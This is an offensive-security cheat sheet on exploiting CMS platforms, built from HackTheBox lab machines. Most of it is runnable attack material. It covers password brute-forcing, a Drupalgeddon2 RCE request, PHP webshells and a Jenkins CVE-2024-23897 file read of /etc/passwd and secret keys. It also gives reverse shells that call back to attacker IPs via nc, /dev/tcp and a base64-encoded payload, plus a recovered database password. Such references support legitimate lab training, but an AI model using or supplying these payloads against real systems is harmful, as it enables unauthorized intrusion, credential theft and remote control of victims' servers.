CMS Exploitation
#Overview
Content Management System (CMS) exploitation focuses on attacking widely-deployed platforms like WordPress, Drupal, Joomla, and Jenkins. CMS instances often present a larger attack surface due to plugins, themes, and default configurations. Exploitation typically involves version detection, plugin enumeration, known CVE exploitation, default credential testing, and abuse of CMS-specific features (REST APIs, XML-RPC, script consoles). Successfully exploiting a CMS commonly yields administrative access, file upload capabilities, or direct remote code execution.
#Prerequisites
- Identified CMS type and version
- CMS-specific scanning tool (wpscan, joomscan, droopescan, CMSmap)
- Knowledge of common CMS directory structures and default credentials
#Detection & Enumeration
#CMS Version Detection
# Generic HTTP response headers
curl -sI http://target.htb | grep -iE "x-generator|x-powered-by|server"
# WhatWeb for automated CMS fingerprinting
whatweb http://target.htb
whatweb -a 3 http://target.htb # Aggressive mode
# Check common CMS indicators
curl -s http://target.htb/robots.txt
curl -s http://target.htb/CHANGELOG.txt
curl -s http://target.htb/readme.html
curl -s http://target.htb/UPGRADING.txt
# WordPress version in meta tags
curl -s http://target.htb | grep -iE 'meta.*generator.*wordpress'
# Check admin panel paths
curl -s -o /dev/null -w '%{http_code}' http://target.htb/wp-admin/
curl -s -o /dev/null -w '%{http_code}' http://target.htb/administrator/
curl -s -o /dev/null -w '%{http_code}' http://target.htb/user/login
curl -s -o /dev/null -w '%{http_code}' http://target.htb/admin/
curl -s -o /dev/null -w '%{http_code}' http://target.htb/jenkins/
BASH
#Default Credentials by CMS
| CMS | Default Username | Default Password |
|---|---|---|
| WordPress | admin | (set during install) |
| Joomla | admin | admin |
| Drupal | admin | admin |
| Dolibarr | admin | admin |
| Jenkins | admin | (from initialAdminPassword file) |
| Ghost | (email-based) | (set during install) |
| Magento | admin | admin123 |
| Concrete5 | admin | admin |
#Exploitation / Execution
#WordPress
# wpscan enumeration
wpscan --url http://target.htb --enumerate p # Plugins
wpscan --url http://target.htb --enumerate t # Themes
wpscan --url http://target.htb --enumerate u # Users
wpscan --url http://target.htb --enumerate vp # Vulnerable plugins
wpscan --url http://target.htb --enumerate vt # Vulnerable themes
wpscan --url http://target.htb --enumerate ap # All plugins (aggressive)
wpscan --url http://target.htb --enumerate at # All themes (aggressive)
# Brute-force WordPress login
wpscan --url http://target.htb --usernames admin --passwords /usr/share/wordlists/rockyou.txt
# xmlrpc.php abuse -- system.listMethods, wp.getUsersBlogs
curl -X POST http://target.htb/xmlrpc.php \
-H "Content-Type: text/xml" \
-d '<methodCall><methodName>system.listMethods</methodName></methodCall>'
# xmlrpc.php brute-force (bypasses rate limiting)
wpscan --url http://target.htb --passwords /usr/share/wordlists/rockyou.txt \
--usernames admin --wp-content-dir wp-content --force
# Plugin exploitation workflow:
# 1. Identify plugin via wpscan or manual checks
# 2. Check exploit-db for known vulnerabilities
# 3. Search for unauthenticated endpoints in plugin code
curl -s http://target.htb/wp-content/plugins/<plugin>/readme.txt
curl -s http://target.htb/wp-content/plugins/<plugin>/<plugin-version>/
# Theme file editor (post-auth RCE)
# WP Admin > Appearance > Theme Editor > 404.php
# Insert: <?php system($_GET['c']); ?>
# Trigger: http://target.htb/wp-content/themes/<theme>/404.php?c=id
# wp-cron and scheduled tasks
curl -s http://target.htb/wp-cron.php
BASH
#Drupal
# droopescan for Drupal
droopescan scan drupal -u http://target.htb
droopescan scan drupal -u http://target.htb -t 32 # 32 threads
# Drupalgeddon / Drupalgeddon2 / Drupalgeddon3
# CVE-2018-7600 (Drupalgeddon2) -- highly reliable RCE
# Affects Drupal 6, 7, 8 before 8.5.1
# CVE-2018-7600 manual exploitation
curl -X POST 'http://target.htb/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' \
-d 'form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id'
# Drupal password hash format: $S$...
# Cracking: hashcat -m 7900
# Default Drupal admin page
curl -s http://target.htb/user/login
BASH
#Joomla
# joomscan enumeration
joomscan -u http://target.htb
joomscan -u http://target.htb --enumerate-components
# Joomla version detection
curl -s http://target.htb/administrator/manifests/files/joomla.xml
curl -s http://target.htb/language/en-GB/en-GB.xml
# Component-specific exploitation
# Common vulnerable components: com_users, com_media, com_fields
# Check configuration.php for database credentials (post-RCE)
# Joomla password hash format: $2y$...
BASH
#Dolibarr (BoardLight HTB Technique)
# Dolibarr version detection: check footer or page source
# Default credentials: admin:admin
# CVE-2023-30253 -- authenticated RCE via uppercase PHP tags
# Dolibarr < 17.0.1 allows PHP code execution using <?PHP instead of <?php
# Exploitation steps:
# 1. Login with admin:admin
# 2. Navigate to Website tab
# 3. Create a new website
# 4. Add a page via the Pages section using a template
# 5. Edit HTML source, inject PHP code with uppercase tags
BASH
<!-- Payload: <?PHP tag bypasses the lowercase <?php filter -->
<?PHP echo system("whoami");?>
<!-- Reverse shell payload via named pipe (BoardLight HTB) -->
<?PHP echo system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.41 4455 >/tmp/f");?>
PHP
# After injecting payload, view the page to trigger execution
# The page URL is generated by Dolibarr in the website section
# Start listener before viewing: nc -lnvp 4455
# Stabilize the shell
script /dev/null -c /bin/bash
# Ctrl+Z
stty -raw echo; fg
# Enter x2
# Post-exploitation: check Dolibarr config for database credentials
cat /var/www/html/crm.board.htb/htdocs/conf/conf.php
# $dolibarr_main_db_host='localhost';
# $dolibarr_main_db_user='dolibarrowner';
# $dolibarr_main_db_pass='serverfun2$2023!!';
BASH
#Jenkins (Builder HTB Technique)
# Jenkins version detection: bottom of the page, or /about
# Default port: 8080
# CVE-2024-23897 -- Unauthenticated arbitrary file read via CLI
# Download jenkins-cli.jar from the target
wget http://10.129.230.220:8080/jnlpJars/jenkins-cli.jar
# Read arbitrary files via the help command exploit
java -jar jenkins-cli.jar -noCertificateCheck \
-s 'http://10.129.230.220:8080' help "@/etc/passwd"
# ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
# Read /proc/self/environ for HOME directory
java -jar jenkins-cli.jar -noCertificateCheck \
-s 'http://10.129.230.220:8080' help "@/proc/self/environ"
# HOSTNAME=0f52c222a4cc...HOME=/var/jenkins_home...
# Extract user flag
java -jar jenkins-cli.jar -noCertificateCheck \
-s 'http://10.129.230.220:8080' help "@/var/jenkins_home/user.txt"
# Enumerate Jenkins users from users/ directory
# /var/jenkins_home/users/users.xml
# /var/jenkins_home/users/<username>/config.xml
# Extract encrypted credentials from config.xml
# Jenkins stores credentials encrypted with the master key and instance secret
# Decrypt offline using: /var/jenkins_home/secrets/master.key
# and /var/jenkins_home/secrets/hudson.util.Secret
# Post-auth Groovy shell (Script Console)
# http://target.htb:8080/script
# Groovy reverse shell payload:
def sout = new StringBuilder(), serr = new StringBuilder()
def proc = 'bash -c "bash -i >& /dev/tcp/10.10.14.40/4444 0>&1"'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println sout
# Alternative: Jenkins pipeline job with shell execution
# Create a pipeline job with a shell build step
BASH
#Ghost (CMS)
# Ghost version detection
curl -s http://target.htb/ghost/api/v0.1/site/ | jq
# CVE-2023-40028 -- directory traversal in Ghost < 5.59.1
# Allows reading arbitrary files accessible by the Ghost user
curl -s 'http://target.htb/ghost/api/v3/admin/themes/?source=../../../etc/hosts'
# Ghost admin panel
curl -s http://target.htb/ghost/
BASH
#CMS-Specific File Paths
# WordPress config
/var/www/html/wp-config.php
/var/www/wordpress/wp-config.php
# Drupal config
/var/www/html/sites/default/settings.php
# Joomla config
configuration.php (in webroot)
# Dolibarr config
htdocs/conf/conf.php
# Jenkins
/var/jenkins_home/secrets/master.key
/var/jenkins_home/secrets/initialAdminPassword
/var/jenkins_home/users/users.xml
/var/jenkins_home/credentials.xml
BASH
#Laravel Admin Package Exploitation (Usage HTB Technique)
# Laravel admin panel (encore/laravel-admin) -- CVE-2023-24249
# Arbitrary file upload in avatar settings
# Exploitation flow:
# 1. Create PHP webshell, rename to .jpg
echo '<?php system($_GET["melo"]); ?>' > shell.jpg
# 2. Upload via admin avatar setting
# 3. Intercept in Burp, change filename parameter from shell.jpg to shell.jpg.php
# 4. Forward the request
# 5. Access the uploaded webshell
curl 'http://admin.usage.htb/uploads/images/shell.jpg.php?melo=id'
# uid=1000(dash) gid=1000(dash) groups=1000(dash)
# 6. Upgrade to reverse shell via base64-encoded payload
# Generate at revshells.com (Bash -i, sh shell, base64 encoding)
echo 'c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMzAvNDQ0NCAwPiYx' | base64 -d
# sh -i >& /dev/tcp/10.10.14.30/4444 0>&1
curl 'http://admin.usage.htb/uploads/images/shell.jpg.php?melo=echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMzAvNDQ0NCAwPiYx | base64 -d | bash'
BASH
#Common Pitfalls
- wpscan API limit reached -- use --no-banner and rate limiting, or manual enumeration
- CMS behind WAF blocking scans -- use passive fingerprinting via HTML meta tags
- Admin panel redirecting to different subdomain -- add subdomain to /etc/hosts (Usage HTB: admin.usage.htb)
- Plugin source not available -- enumeration may require fuzzing plugin directory paths
- Default credentials changed -- fall back to brute-force, SQLi, or forgotten password functionality
- Encrypted Jenkins credentials -- need both master.key and hudson.util.Secret for offline decryption
#OPSEC Considerations
- CMS scanners generate high volumes of requests to predictable paths
- wp-login.php brute-force is heavily monitored and rate-limited
- xmlrpc.php amplification attacks are a known signature
- CMS version disclosure in meta tags helps defenders patch
- Changing avatar/settings generates log entries in CMS audit trails
#Post-Exploitation Value
- Administrative access to all CMS content and users
- File upload capabilities for webshell deployment
- Database credential extraction from CMS configuration files
- Plugin/theme modification for persistent access
- User impersonation and lateral movement
#Cross-References
#Tool References
#Source Machines
- BoardLight (Easy, Linux) -- Dolibarr v17.0.0, CVE-2023-30253, <?PHP uppercase bypass, admin:admin default credentials
- Usage (Easy, Linux) -- Laravel admin package v1.8.18, CVE-2023-24249 arbitrary file upload, extension filter bypass via proxy interception
- Builder (Medium, Linux) -- Jenkins v2.441, CVE-2024-23897 unauthenticated file read via jenkins-cli.jar